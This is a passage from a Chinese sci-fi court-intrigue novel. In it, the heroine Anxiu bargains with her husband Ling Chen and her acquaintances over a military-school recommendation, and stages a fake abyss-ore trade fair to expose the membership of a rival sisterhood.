她一挑眉,看向不远处,水面上一片氤氲,只能看清对面站起来的人的模糊的轮廓。
“呵......是凌宸啊。”
安秀抢过酒杯,又喝了一口。
温泉里含有安神的纯天然药剂,加上这美味的果酒,她的大脑早就成了一团云雾。
这几天下来,凌宸又是为她做出行方案、又是那么温柔地对待她,到底要闹哪出?阴晴不定,果真是阴晴不定。这人怪得很。
她不信凌宸没目的,可是她看不出来,只留下满腹的疑丝,被酒一浇,成了一团潮湿的乱麻。
凌宸来得正好,她倒要看看那脑子里到底装了些什么。
安秀往他那边走去,水面被她荡起轻柔的波纹,打在凌宸的腹部。
终于,她们的距离近到蒸腾的雾无法阻隔视线,安秀看到了他的全貌。
凌宸一反平日的利落整肃,头发湿哒哒地贴在额头,下巴还在滴水,水又顺着大片裸露的胸肌滴下,沿腹肌直到人鱼线......
她的大脑瞬间一片空白,脸上一阵发热,但由于已经喝了些酒,又泡了温泉,面部的颜色变化并不明显。
“帮我搓下背。”
酒壮怂人胆,看了半天后,安秀忘了走近凌宸是为了什么,一开口就成了使唤。她转过身,脱了上半身的浴袍。
白色的浴袍浮在水面,紧贴凌宸的皮肤。他看着安秀露出来的脊背,连被当侍从使唤的怒火都忘了,绷紧了下颚。
半晌后,他道:“你喝醉了。”
“搓个背而已,难道你还害羞?呵呵。”
安秀的冷笑一股嘲弄的味道,像把小钝刀一样割在凌宸心上。虽然无法造成任何伤害,但也够挑衅的。
胜负欲噌地上涨,但他很快冷静下来分析局势。
现在的安秀处于微醺状态,没有心理防备,是个套出她目的的好机会。她想从他这得到什么?
“安秀,你为什么要跟我结婚?”
凌宸拿起毛巾,其中一面是植物纤维。
原本诸如搓澡的事情不用人亲自动手,有智能体代劳。不过住所考虑到客人可能的需求,配备了手动操作的工具,增加情致。
他用了力气揉搓安秀的背,毛巾的粗糙质感如约而至,安秀眯着眼享受起来。
她用醉意熏熏的语气问道:“跟你......结婚?”
“是的。我这里有什么你想要的东西吗?”
植物纤维含有特殊成分,一旦使用会产生物质让巾身变得柔软,所以在她的感受中,力度刚刚好。
“嗯......”
身后凌宸的手抖了一下,然后继续为她按摩。
“你想知道?那就再用力点,旁边有护理品,用上那个。”
她其实在听到问题的时候就醒了,一双明眸毫无睡意。综合这次约会凌宸的种种行为来看,原来他是这个目的。
她佯装还在醉,一边毫不客气地指挥凌宸服侍她。凌宸泰然自若地打开护理用具涂在毛巾上,擦起她的后背。
安秀发觉力度变轻,故意不满道:“你是没吃饱吗?”
尾音懒洋洋地上翘,像个小钩子一样,勾得凌宸眉心发麻。
一直在挑衅。
把她扔这喝个天荒地老吧,别怪他无情,凌宸刻薄地想,只要他一声令下,这里没人敢把他做的事说出去,就算安秀拿身份威胁也没用。
敢使唤准将,她活腻了。
他刚要转身拿别的护理,不料身前的人将她扑倒,双手按在他的肩上,水波荡漾。
“喂,你干什么?!”凌宸差点把她甩开,呼叫警卫把这个人拖走,可是这家伙......似乎完全醉了?
安秀的脸红红的,明媚地朝他笑着说:“为什么跟你结婚?因为你很漂亮啊。”
漂亮?
凌宸还没从震惊中缓过来,余光就看到了她的身体曲线。
这是一副非常健康、美丽的身体,双肩大大方方地展开,没有他想象中的那么瘦弱,反之有种令人内心颤动的力量感。
安秀见他绷着脸半天没反应,又压上去一点,在他耳旁说:“你就是很好看啊,我不好看吗,配不上你吗?”
凌宸僵住,被吓得不轻,终于想起来一把推开她:“你自己冷静。”然后把浴袍裹得紧紧实实地快步离开了这里。
从小到大,这是他第一次这么接近一名女性,他真的......这人真的疯了!
安秀回到温泉继续泡着,喝着美酒,回想起他临走前阴沉的蓝眸,噗一声笑了出来。
另一边的凌宸回到了房间,靠在冰冷的墙壁上,呼出一大口气,水汽还氤氲在他的身上。
刚结束工作,本应好好享受的假期就这么被打搅了,脑子里还回荡着刚刚的画面,更乱了。
他再也不想来一次这样的约会了。
这次的旅途结束后,凌宸又投入了海量的工作中。最近他的工作不是很顺利。
克诺洛斯的支持无疑是好事,可是显然有股力量在死命阻拦他,最新提交的修改方案又以
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程序性失误为由被驳回,提案再度停滞。
程序性失误,说得好听点是他大意,说得难听点就是有人挑不出错,还硬要鸡蛋里挑骨头。
具有敏锐政治嗅觉的凌宸意识到,对于这种已成派系的系统性阻拦,必须使用非常规手段解决。
想要使用这种手段,还有一个亟待解决的事情......
“你最近的脸色不是很好,”安秀优雅地擦了擦嘴,“有什么我可以帮忙的地方吗?”
“我不需要你关心。”凌宸中断思考,神色如常地站起身。
“我猜猜看,是不是因为提案又受到阻拦了?”
安秀近日来一直在维持和高官眷侣们的关系,对军部的事有所耳闻,不过仅仅知道凌宸这一派的日子不好过。
这讯息不算明显,但她感知敏锐,当那些人都不是很愿意跟她来往的时候,她便意识到了问题应该不出在自己身上。
就目前来看,她和凌宸是利益共同体,一损俱损。为了今后的打算,她应该解决这个问题。
原以为,凌宸会像茶会那次一样告诉她事情原委,没想到他一言不发,理了理整齐威严的军装,径直越过餐桌离开。
他总是这样,一旦穿上了军装,气势就会变得很强盛,让人不敢轻易接近。
完全和那天温泉的样子联想不到一块。
安秀也站起身跟上去:“你去干什么?”
“出差。”
“好歹告诉我发生了什么吧。”
“你不用管。”
说完这些后,凌宸头也不回地离开了,留安秀一个人面对空旷华丽的大厅。
她看着紧闭的华丽的大门,心里很不是滋味,明明说好了合作,可最近让她干的事情都是些无所谓的小事,反倒对大事只字不提。
如果不做些什么,她只会一步步在这场关系中身居下位。她不能坐以待毙。
不过是不能从他这获取信息而已,她有的是手段。
该从哪里查起呢?
安秀想到了茶会那日,被克诺洛斯夫人逐出去的森尔将军之女——艾达。
那天事发突然,这阵子她才发觉这件事的蹊跷之处。堂堂将军之女,居然被茶会主人赶走,就算克诺洛斯是许多军企背后的掌管者,也不不至于这么轻易得罪地位如此之高的人,这背后必有隐情。
这些时日来她也不是全无收获,培养了两个眼线,刚好查一下艾达如今的情况如何。
过了几天,眼线传来了消息称艾达生病一直在庄园,没有特别的情报,但拍到了两名出入森尔庄园的艾达好友的照片。
安秀看了看照片,只能看到两个人的背影和小块侧脸,但对于戒备森严的将军府而言,这两名眼线已经相当能干了。
其中一个人,她认出来是黛露。
线索在这里中断,安秀轻揉太阳穴,半躺在花园的椅子上,思考下一步动作。
这时,贴身侍女索菲娜通报说米莉夫人求见。
米莉已经有段时间没跟她联系了,安秀很是诧异,思索片刻后,心中一动。
“请她进来吧。”
阳光正好,适合和朋友叙叙旧。
鲜烹花茶和精致的甜点很快摆在了桌子上,米莉在侍女的引领下来到她跟前,两人交换了一个吻面礼。
13.针锋相对
“好久不见,米莉。”
“哦,安秀,上次的见面可真是让人难忘。”
两人同时想起茶会中的惊险经历,默契地对对方笑了一下。
安秀问了下米莉最近的情况如何,米莉说完丈夫,又开始说孩子,在一番寒暄式的开场白后,安秀抿了口花茶,觉得是时候步入正题了。
“米莉,那你今天找我有什么事吗,我能帮到你什么?”
“噢,噢......”米莉显而易见地局促起来,明显对求人这件事不太熟练。
要知道,连茶会那天主动接近安秀,都是她鼓起勇气后的结果。
“呃,安秀,你看,我的女儿马上就十二岁了。”米莉斟酌了片刻,开口道。
“嗯,提前祝福你们,”安秀的眼角温柔地弯起,“等有空,我要亲自为你的女儿送上礼物。她喜欢什么?”
“她喜欢能量枪、星舰模型、战机模型,哦!我的深渊之神......”米莉惊叹一声,“我终于说出来了,你瞧,她喜欢的东西简直......”
“很特别。”安秀体贴地为她找到一个合适的词汇。
“很特别、很特别,”米莉抚了抚起伏的胸膛,“一般的淑女,总是会喜欢珠宝和衣服,可是达米安却喜欢那些少爷们才会喜欢的东西。”
“米莉,这没什么好惊讶的,喜欢什么跟性别无关。达米安能打破默认的规则,明明是件很有勇气的事。”
“我不是那个意思,安秀。事实上,我为她感到骄傲,”说到这,米莉的眼睛红了,“她从小就很有天赋,明明我和我的丈夫资质都那么平庸。小的时候,她因为玩玩具枪被男孩们欺负,还跟他们打架,那么一张漂亮的小脸,打得青青紫紫的。”
她拍着米莉的后背:“我打赌她赢了。”
“是的,她赢了,不过她永远失去了朋友,”米莉握紧了手,“作为家长——作为她的母亲,我经常为此感到痛苦,是不是我的原因才让她变成现在这样呢?”
安秀能理解米莉这种混乱的情绪,但一时间也想不到如何安慰她。
“我一直以为这只是她特殊的小爱好,直到茶会开始前,达米安对我说,妈妈,我想去军校。”
米莉紧闭双眼,流下了一滴眼泪:“安秀,你知道对于一个家境优渥的女孩来说,去军校是什么概念吗?”
安秀想到这种可能性,也不由得一阵惶然。在以男性为主导的军权体系中,女性几乎永无出头之日。
“喔,米莉,或许,如果可以的话,你应该劝劝她。”
不论从什么角度来讲,让这样一个女孩进军校都不是最明智的选择,安秀虽然感到惋惜,但更不愿见到友人的孩子走上这样一条艰难的路。
“她才十二岁,安秀,我跟她彻夜长谈过。”米莉擦干净眼泪,继续道,“同龄人还在懵懂度日的时候,她已经有了坚定的想法,这也是为什么我会为她骄傲。这些天来我已经想通了,作为一个母亲,我应该尽全力托举她,让她在追求梦想的道路上,不至于弄得浑身是伤。
“他的父亲一直支持她,模型都不知道买了多少艘了。”她自嘲地笑了笑,“到头来,我才是最大的阻碍。”
“别这么想,你有自己的考虑。无论如何,我为你的想法感到高兴。”
米莉收拾好情绪,翠绿的眼眸迸发出前所未有的坚定:“你说得对,当一个母亲下定决心保护她的孩子的时候,没人能阻拦她。”
安秀被这样的米莉吸引住了,她从未有一刻像现在一样有魅力。
“我和孩子的父亲打点好了一些军校的事宜,有几所愿意接收达米安,可是她最想去的帝国第一防线军校一定要一名少校以上的推荐人。”
“多么荒谬!”安秀捂住了嘴,“据我所知,帝防军校根本没有这样的规矩。”
要知道,帝国军官学校毕业的人通常是尉官,想升到校级,要么有高贵的出身,要么有过硬的成绩,无论哪种都很难找。
“那只是针对男生,亲爱的,”米莉的脸上浮现愤愤不平,“明明我女儿的成绩那么优秀,却被那群高傲的军官拒之门外!”
“所以,你想要凌宸当她的推荐人,是吗?”
“如果凌准将同意的话,真的再好不过,拜托你了,就当为一个竭力托举女儿的母亲。”
米莉的目光急切而真诚,安秀找不到理由推拒,冷静地掂量这份请求的重量。
天平上的砝码,尚在倾斜。
“米莉,我非常希望能帮到你,我把话说开了吧,光有茶会那天关于我和凌宸流言的提醒是不够的。”
“这......”
“你也知道,帝防军校是整个帝国数一数二的军校。我的丈夫工作本来就忙,成为你女儿的推荐人后还要处理很多琐事,我需要看到更多的诚意。”
“我明白了,安秀,”米莉深吸一口气,“有什么条件,尽管说出来好了。”
她并不是毫无心理准备,当下定决心为女儿开出一条路的时候,她已经预料到这种情况。
第一防线军校聚集了帝国未来最优秀的一批将领,想要踏足这片领域,她们只能付出更多努力。
女儿还那么小,如果找了一个没有相当背景的人当推荐人,日子必然不会好过。对米莉来说,凌准将是最好的选择,她愿意为此付出昂贵的代价。
安秀沉吟了一会,只字未发。
这对她来说是一个上好的机会,她正在考虑如何在米莉可承受的范围内,将利益变现到最大。
可是米莉有些坐不住了,她观察到安秀低沉的神色,以为这件事很为难她,焦急地思索有没有能用于交换的筹码。
“哦,我想到了,”米莉一拍脑袋,“你对克诺洛斯茶会那天的事情感兴趣吗?”
“什么事,你是说......”安秀降低了声音:“艾达吗?”
米莉眼色一亮:“是的,我听说她最近加入了顿克辛姐妹会。”
这对安秀来说是一个全新的名词,但她不想在米莉面
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前暴露过多好奇,而是把问题抛给她:“嗯,那你觉得,她为什么会加入这个姐妹会呢?”
“还挺明显的。因为她被克诺洛斯夫人赶了出去,我们都觉得她怀恨在心,恰好顿克辛姐妹会在这种时候接收了她。”
“如果我没记错,黛露是茶会的核心成员之一吧?”
米莉一怔:“是的,不过她和艾达是好朋友,也不知道她们现在的关系怎么样了。”
“也不知道,黛露会不会伤心呢。”安秀悄悄注意米莉的神情,自然地套话。
“嗯,如果我是黛露的话会伤心,”果不其然,米莉说出了事情的关键,“毕竟克诺洛斯茶会和顿克辛姐妹会是敌对关系,昔日的好姐妹加入这种地方,连朋友都难当了。”
“你知道艾达是什么时候加入的姐妹会吗?”
“应该是茶会没过多久,之后她就一直称病在家了。”
安秀意味深长地说:“我想,她们的友情还是很坚固的。”
“那,我女儿的事情......”
“先等等,米莉,”她温和地打断了米莉的话,不动声色地说出违心之言,“你说的暂时不是我需要的东西,但是,如果你能答应我一个简单的条件,那么我会尽全力帮你。”
米莉直起身子:“请讲。”
“我需要一些独特的金融见解,最近刚好有一批资金......”她拉长了语调,用眼神暗示米莉。
“当然,当然。”米莉立刻懂了她的意思。这对她来说不难,让她松了一大口气。
她们的见面在愉悦中结束。
冷掉的花茶已经被收走,天色渐暗,帝羽星的天空一片深深的蓝。
米莉的心思很单纯,不愧是一直被精心呵护的人,还没等她想好筹码,自己就提供了,也算是额外收获。
原本,安秀只想要一些金融讯息用于投资,这下还有了全新的线索。
现在,她要做的是搞定某个人。
“不可以。”
凌宸斩钉截铁地拒绝。
“为什么?总要给我一个拒绝的理由吧。”
“理由显而易见,因为‘她是女的’。”
这句话在安秀听来无比刺耳,心里升起一团怒火,红色的眼瞳直直盯着凌宸:“请你不要敷衍我。我觉得这不应该是阻拦一个人追求梦想的原因。”
“有很多所其它军校愿意接收她,不是吗?”
她冷笑道:“那为什么第一防线军校不愿意?总不可能是因为没有足够的女生宿舍吧。”
凌宸知道她在挖苦自己的母校,但他没有生气:“我知道你接下来会说‘这很不公平’。不过你可以先听听我的看法。”
“有劳。”
“帝国第一防线军校之所以是帝国数一数二的军校,是因为它得到了帝国皇室的集中投资,是一所特权学校,所以对血统和出身极为敏感。我不否认招生办那群人有性别歧视的嫌疑,但我觉得他们随便找个理由拒绝非血统学生的可能性更大。”
14.开始布局
“因为她恰好是个女性,所以他们找到了拒绝理由。如果她是一名男性,那么也会有别的理由。现有的帝防女学生,大部分是有血统的人。”
凌宸的这番话不得不说很真诚,在仅有的休息时间里跟她解释这么多,已经很尊重她的感受了。
但这不是安秀想要的结果。
“没有血统难,是女性更难,是吗?”
“是的。但她有别的选择,没必要一条路走到黑。”
某种程度上,凌宸的观点和她先前的类似,但不知为什么,阻力越大,她越想帮助米莉一家。
她有种奇异的直觉:帮助这个女孩,就是在帮助她自己。
于是安秀决定刺激一下他,似笑非笑道:“凌宸,你口口声声说是为了这个女孩好,其实还是为了保全你自己的利益吧。”
“我不觉得这有什么值得羞耻的,”凌宸的表情纹丝未动,大方承认,“当这样一个人的推荐人很麻烦,我也爱惜自己的羽毛。米莉一家,无法提供足够的价值。”
可是她们给我提供了价值,我必须帮她们才能拿到那些价值。安秀想。
“说到底,你也只是个自私鬼而已。”
“以为激将法会对我有用吗?手段低劣。”
凌宸威慑力十足的眼神像要刺入骨髓,话锋倏然转变,“想要我同意,拿出像样的东西来。”
见凌宸这幅样子,安秀不禁在心里感叹:如果他像温泉那天那样好说话就好了。
可是如果在这时候说出这种话,凌宸一定会大发雷霆。
谈判在此刻停滞,安秀的大脑飞速运转,寻找破局的方法。
坦白来讲,她的各方面的资源尚在积累中,没有什么能一锤定音的底牌,不过要是连这种事情都要用到底牌的话,也够失败的。
近期的所有信息汇总在脑海,她眼珠一转,突然生出个有些冒险的想法,决定赌一把。
她十指交叠,靠在柔软的椅背,尽可能用最松弛自信的语气说道:“如果我没猜错的话,了解顿克辛姐妹会应该对你的事业有帮助。”
“哦?”凌宸眯了眯眼,“知道顿克辛姐妹会,对我有什么用?”
不同于不擅长隐藏情绪的米莉,安秀无法从凌宸的面部表情上获取任何有用的信息,只能接着讲。
“克诺洛斯茶会和顿克辛姐妹会是敌对关系,已知克诺洛斯支持了你的提案,那么她们是亲深渊也就是异能改革派。”
“继续。”
凌宸还是没什么表情,一副要看着她说完的架势,她头皮一阵紧绷,继续猜测:“克诺洛斯茶会入会门槛极高,牵扯的关系非富即贵,自然也有倾向。你之前也说过它是具有政治性质的交谊会。”
她想起之前背过的茶会资料,思路渐渐明晰。
“既然两者是敌对关系,那么顿克辛姐妹会应该是反对异能改革的,要是知道她们的信息,你自然可以知道自己的对手有哪些。”
“对,也不全对。”凌宸的眼中闪过一瞬的欣赏,“首先茶会并不是异能改革派,帝国从来没有出现过异能改革派,只有中和派和反异能派。”
“也就是说,茶会是中和派,在现有的科技基础上融合少量深渊科技的派别。”
“没错。”
安秀想起克诺洛斯在茶会那天说她“像一个故人”,想必她一定有家人的线索。看来加入茶会是个巧合但正确无比的选择。
“那我们也算中和派?”
“目前来说是的。”
“我觉得很奇怪,凌宸,”安秀说出了一直以来的疑问,“明明深渊粒子已经发现这么久,有了那么多深渊异能者,为什么帝国一直不研究深渊科技呢?”
“你没有知道的必要。”
对话在这里停顿了一下,安秀低声问:“那,你觉得我这个筹码如何?”
“如果你查到姐妹会的名单,我就成为达米安的推荐人。”
“搞到姐妹会名单比你签个字难多了,”她毫不客气地加码,“我要凌家20%信托基金的所有权。”
凌宸嗤笑一声:“你可真敢想,没有这个可能。”
在他看来,安秀依旧是外人,凌家的一切资金由他掌管,是帝国民法所允许的一种模式。这才刚结婚多久,她的主意就打到凌家基业上来了,不可谓不越界。
“1%也可以。”
“0.001%都不行,”凌宸逐渐丧失了耐心,眼神变得冷漠,“要是你不愿意,我们就没必要谈了。”
“好吧,那我要5000万交易币。”
“2000万。”
“至少3000万。”
“成交。”
终于结束了谈判,安秀长呼一口气,躺在椅子上。一想到办成这个事会有这么大的利润,她浑身就充满了干劲。
她马上就可以打造自己的产业,开始下一步计划了。
通讯器小小震动了一下,凌宸的款项打了过来。
「先给你1000万,事成后打剩下的。」
出手还挺大方,就不怕她失败吗?看来这份名单对他来说真的很重要。
安秀半阖着眼,手指有节奏地敲打桌面,计算下一步动作。
她命令眼线时刻关注黛露和艾达另一个朋友的的动向,几天过后,她在凌家宅邸的一楼大厅召唤贴身侍女。
“索菲娜。”
没过一会,索菲娜来到她跟前:“怎么了,小姐?”
“我需要发送一份个人请柬。”
“请问要发给谁?”索菲娜代替安秀在虚拟屏上操作,一份体面精巧的空白请柬很快漂浮在她们眼前。
这种悬空传送式请柬源于皇室的古老传统,老派世家总爱以这种方式划分和普通人的差别,安秀对这种繁琐的仪式并无好感,但碍于身份必须遵从这种规则。
“最近新开了一个私人画廊,我听说黛露一向喜欢这些东西,让她来陪陪我也好。”
在去茶会前,她便了解过黛露喜欢去些高雅的地方,例如画展、音乐会等等,而眼线传来的消息称黛露近期空闲。
索菲娜很快模拟好了请柬,安秀只需印上自己的电子签名:“去吧。”
黛露的出身比她差了一截,没
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有了艾达这个朋友和茶会常客身份的加持,她们的地位骤然转换。
她还记得黛露在茶会上对她做的事情,不过这一次不是为了私仇,而是为了钓更大的鱼。
“噢,亲爱的安秀,真没想到你会邀请我。”
因主题所致,艺术家将画廊布置在帝羽星的雪山下,黛露披了一件淡粉色的高级披肩,踩着雪白的靴子,笑眯眯地挽起安秀的手。
她似乎完全忘了曾在茶会上得罪过她——或许她发自心底地认为那不算得罪,况且已经有人为此受到了惩罚。
这对安秀来说再好不过,因为她不想引起黛露的警惕。
“好久不见,朋友之间,联系一下也好。”
黛露用感兴趣的眼神打量安秀:“大家都听说你和凌准将最近出去约会了,感觉如何呀?”
安秀想到温泉那天“微醺”的自己和慌神的凌宸,嘴角忍不住勾起一点,哼笑两声。
“我们的体验很不错,你瞧,他还给我送了蓝丝鸟的尾羽。”她拿出一片精心设计好的羽毛装饰在黛露眼前晃了晃。
这片羽毛在光线的照射下蓝得流光溢彩,还有绿色和粉色闪现,美得黛露呼吸一窒,接了过来,爱不释手。
“天啊......简直太美了,这就是蓝丝鸟的羽毛吗?我连蓝丝鸟都没见过,你们的爱情太让人羡慕了。”
安秀说着早已规划好的台词:“他知道我喜欢蓝丝鸟,非要送一根羽毛做纪念。好了,把羽毛还给我吧。”
黛露这才恋恋不舍地将羽毛还给她,道:“这么用心的礼物,比珠宝衣服珍贵多了,他很看重你。”
“呵呵,我也很看重他呢。”
——看重他在军部的权力和家族背后的资源。
“除了一个爱你的丈夫,你还有那么多好朋友,”黛露调侃自己,“不像我,最近都没有朋友找我,只能孤零零一个人,幸好你来陪我了,不然要无聊死了。”
这番话一出,安秀便听出来她很可能知道米莉找过她,看来在默默关心别人的不止自己一个。
“其实我也没那么多朋友,不过你的朋友一定比我的多吧?我记得你和艾达关系挺好的。”
黛露的笑容显然僵了一下,不过很快调整好表情:“是的,不过......我最近和她没联系了。”
见黛露有些紧绷,安秀若无其事地把头转到一边,似乎被画廊中的画吸引住:“看看这位艺术家的画作,真是绝美。”
还需要一些时间,再耐心等一会。
她们穿过长长的、安静的走廊,智能体系统默默运行着,窗外的阳光穿过雪山照到左侧的画上,蓝色的颜料幻化出千百种形态,看得人移不开眼。
空间逐渐开阔,她们来到主展厅,一幅巨大的抽象画悬挂正中。
它是这个画廊的主题——暴雪,定格了暴雪掠过山脊的瞬间。画布上是大片的钛白、湖蓝与少许银灰,画师加入了群青色的凌厉笔触,增强了这幅画的层次感。
恰好窗外雪山静谧,与这幅画形成颇具张力的对比。
汹涌的雪浪凝滞在画廊。
15.三人友谊
安秀轻叹一声,感慨道:“真是美妙的画作,让我想起200帝国年左右的拜深渊神教画,小帝王星还有它们的教堂。很震撼,你知道吗?”
黛露好像一下没反应过来她在说什么,过了几秒才应道:“啊,嗯......对,是很漂亮。”
“我觉得,与其说漂亮,不如说很有人类精神文明的流动感。从霍亨索门一世的神性至上到四世的宣扬人性,全都汇聚在那些教堂里面。为了庆祝该教诞生,人们甚至还将几个光年的宇宙碎石拼成想象中神的形状。”
见黛露对这个话题兴致缺缺,安秀适时地停了下来,不再在这个话题上多言。
原以为关注艺术的黛露会了解这些东西,她还想聊聊的。
帝国的艺术史以宗教为中心,霍亨索门一世之所以崇尚神性至上,是因为当初的人类在宇宙的无序扩张已经到了极限,赛博朋克文明走到了尽头,而人类在即将灭绝之际发现了深渊。
深渊的发现,对行走在沙漠的人类来说无疑是生命之泉,让几乎化为灰烬的人类文明重焕新生。
深渊,对当时的人类来说,无异于神明。
黛露走在一旁,认真地欣赏那些画作,安秀再次确定她只是单纯地爱看、爱听,而并没有刻意了解这些文化。
于是她换了种交流方式。
“我觉得这里的颜色挺漂亮,跟这里的日落一模一样。”
“对,”黛露眼睛一亮,滔滔不绝起来:“它还让我想起池塘里的小飞鱼,棉花糖上的金丝,还有金葡萄。”
安秀讶然问道:“金葡萄是什么?”
“就是一种金色的水果,我家乡的特产。”黛露兴致勃勃地说完,意识到安秀正饶有趣味地看着她,感觉有些不好意思。
“我失态了,夫人。”
“叫我安秀就好。我们都有自己的名字不是吗?”
黛露愣了愣,恢复茶会那日的气质,半笑着问她:“安秀,你还真是特别。要是别人嫁进了凌家,肯定会把这个姓氏天天挂头上。”
“也不是所有人都想这样,麦尼不也是霍亨索门的妻子吗?我们还是叫她麦尼。”
“因为她自己的姓氏就很高贵。”
“也或许是因为她更喜欢当自己。哦,我们不能擅自谈论她,真是失礼,我想我们应该道歉。”
她们愉快地笑了起来。
这时,安秀的通讯器传来了艾达另一个朋友的部分咨询,她一目十行地读完,发觉是时候进行下一步动作。
但在经过刚才的对话后,她觉得自己或许不必把黛露当成坏人,于是决定将策略调整得友好一点。
“你最近跟艾达的关系怎么样?我听说她有了新朋友。”
黛露的表情再度变得不自然,遮遮掩掩道:“我不太清楚,人总是会交新朋友的吧,呵呵。”
“黛露,”她温和地握住她的手,“我想听到实话,因为这是为你好。”
黛露的瞳孔缩了一下,强颜欢笑道:“为什么,发生什么事了吗?”
安秀淡然,眉眼是温和的,眼睛却没有丝毫笑意:“前几天,我收到了一则消息,你私下探望了加入姐妹会的艾达。那则消息原本要在圈子里传开的,可是被我拦截下来了。”
迷惑是非,颠倒黑白。这是常用的套话方法。
黛露的脸色白了一下,不过很快被笑容掩盖了起来:“这个......要有证据才行吧,再说了,我只是去看看朋友,跟茶会那些没关系。”
“黛露,这件事比你想得严肃,”安秀板起了脸,“如果被克诺洛斯知道了,你会是第二个被赶出去的人,作为茶会的核心成员,你应该清楚这点。”
说罢,她给黛露看了照片,黛露很快将视线移开,不愿面对。
安秀见她已经落入圈套,便安抚她的情绪,进一步引诱:“好了,黛露,现在我不会把这件事说出去,不过你要告诉我整件事情的过程,好吗?”
黛露犹豫片刻,还是支支吾吾地把话说了出来。
“自从艾达加入顿克辛,交了新朋友米诺后就再也不来主动找我了。我去探望生病的艾达,还被警告下次不许再见她。”
安秀了然,不过知道这三人的关系绝不只是像表面上的朋友吃醋那么简单。
根据现有的资料来看,黛露和米诺先后“攀附”将军之女艾达,而艾达已经加入另一个群体,自然要把之前的“朋友”黛露甩掉。
“你们那天见面时说了什么?”
“她们好像在说姐妹会的事情,我没有仔细听。”
“你仔细回想一下。”
黛露突然问:“你觉得艾达抛弃我了吗?”
这对安秀来说是一个挑拨离间的好机会,但她一向不屑用这种见不得光的法子。说到底,黛露也只不过是个比她大了几岁的人。
“这要看你如何理解,我不评判你们的友情,”她轻吸一口气,将话题掰到正轨,“现在的问题是你同时跟姐妹会的两名成员私下见面,总得给个交代吧。”
“我没想到她会有个新的朋友,我一开始虽然是为了......为了地位才接近艾达,但做了这么久的朋友,说绝交就绝交了。”
“......”
“就因为米诺。米诺那么明显的察言观色,艾达难道还看不出来吗?她们就是故意的。”黛露好像憋了一肚子气,像倒豆子一样发泄了出来,“把我当空气,还讨论怎么在姐妹会立功。”
“等等,什么立功?”
黛露见自己说出了不得了的事情,吓了一跳,连忙住嘴。在安秀的再三询问下,黛露觉得说出这件事是在背叛艾达。
“告诉你们这些,会让艾达受伤吗?”
黛露露出担忧的神色,任谁面对这眼神都会不禁一阵心软。
“这不是让不让艾达受伤的问题,黛露,”安秀温和又坚定地引导,“问题是如果你不告诉我发生了什么,我就只能把证据提供给克诺洛斯了,这可不是说着玩的。”
见黛露的态度还在左右摇摆,她决定下一记猛药:“如果得罪了克诺洛斯,你父亲的仕途想必也不会那么顺利。再说,就算你告诉我这些艾达也不会受影响,她的安全用不上任何人操心。”
最后一句话似乎刺痛了黛露的心,她把脸别开,恰好
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看到主展厅的画。
画中的暴风雪仿佛在流动,冰冷的风从画中呼啸而来,她必须拼尽全力才能在风雪中站稳。
“我是为了保护自己,”黛露喃喃,“如果她的计划被阻拦,还会回来吗?”
安秀认为答案显而易见——艾达不会回来。她能加入姐妹会,多半是因为她的父亲森尔将军的倾向发生了转变,克诺洛斯知晓后利用她刺激艾达,以便找个理由把这个政见不合的势力推出去。
这种性质的转变最忌反复无常,艾达就算再蠢也不可能退出姐妹会。
“她不会回来的,事情已成定局。”
黛露听到这话,脸色渐渐变得阴沉起来,倏地转头:“都是因为那个女人,我讨厌她,我要给她们一个教训。”
说罢,她开始讲述那天的事:“那天我着急去看望艾达,不料米诺也在,她们把我晾在一边说姐妹会的事。我好几次插嘴,艾达都像没看见我似的。不过我听到了,姐妹会最近计划购入一批中级以上的深渊石,她们想靠这个立功。”
“深渊石......你是说深渊矿吗?那可是相当名贵的东西,她们要这些干什么?”
深渊矿是靠近深渊的星球上的矿物,自带深渊粒子,帝国目前的深渊科技都是靠深渊矿充能,高级成色的深渊矿有价无市。
黛露摇摇头:“不清楚,我只知道这些了。”
“无论如何,谢谢你,”安秀优雅地颔首,“我会把那些记录销毁的。”
她们在画廊门口分别。
安秀将私人舰调整为全透明模式,外面一片冰天雪地,远远看去,画廊的落地窗就像雪山纯净的眼眸。
事情已经完成了三分之一,是时候下网了。
此时此刻,米诺的资料完完整整摆在安秀面前。多亏了高级军官家属的身份带来的便利,眼线的情报来得很迅速。
她打通了米莉的通讯,后者翠绿灵动的眼睛出现在虚拟屏。
“安秀,这么晚了找我有什么事?”
“达米安入学的事我正在安排。”
米莉的眼睛一亮,道:“有什么需要我帮忙的地方吗?尽管说。”
“不知道你认不认识深渊矿产领域的人。我想借你们的身份开一场交流商会,商品是中级以上的深渊矿。”
“这,我想想,稍等。”米莉叫了丈夫的名字,关闭虚拟屏显示,过了几分钟又回来了。
“他认识一个人,那个人认识一个深渊矿的矿主,我们可以介绍你们认识。”
“多谢,米莉。”
于是,在大约一个月后,有关深渊矿商会的消息在上流社会不胫而走,各路人士都在观望这场商会,蠢蠢欲动。
关于商会的各种决议请求不断涌进商会投资人的房间,在虚拟安全通道的转移下来到了安秀的终端,确保她的身份不会暴露。
她的手指在终端上划动了几下,与此同时的主持收到了通知,在台上宣布:
“商会的最终商品,是来自帝魄星的高级深渊矿——克拉德。”
这则消息引起了台下轩然大波,这面铺天盖地的网,已经布置好了。
16.富姐白脸
安秀在高级休息间坐着,她的身份变化成了一个平平无奇的参会成员,旁边站着一个俊俏的男人,不是别人,正是凌宸。
凌宸了解完她的计划,问道:“这就是你让我来的原因?”
这个角度,刚好能透过半透明的饮品看到他蓝色的眼睛,晶莹剔透的。安秀忍不住保持这个角度又看了一会。
玻璃杯另一边的凌宸轻轻撇眉:“回答我的问题。”
“是的,我的身份需要一个情人打掩护,多一个人也多一个脑子。”
凌宸没说话,背过身去,装了一小杯饮料啜饮,边道:“你怎么有把握她一定来?”
“只要诱饵放得够大,她一定会来。商会有三期,第一期不来就第二期,第二期不来就第三期,看到那么多人获利,她们不可能不行动。”
“你打算通过商会筛选出姐妹会的人?”
“不,”安秀的眼底划过一丝狠厉,“我要拿到所有人的名单。”
凌宸不置可否,换了个话题:“你哪来这么多资金,可以进那么多深渊矿,连办三期商会?”
“跟她们谈判,矿主提供矿石、投资人获利,我拿剩下的。毕竟我们的目的不是真的卖矿。”
心思缜密,行动果决。凌宸在心里默默评价,又喝了一小口饮料。
不过,安秀有些不开心,被一连串问题问下来,谁的心情都不会好。
“这是我精心策划好的计划,请你不要一味地质疑我。”
凌宸饶有趣味地将视线转过来,又是一句反问:“你觉得这算质疑?”
对于等级制度森严的军队来说,任何一个计划都会受到最严厉的审核。在他看来,这些问题不过是洒洒水,跟闲聊的程度差不多。
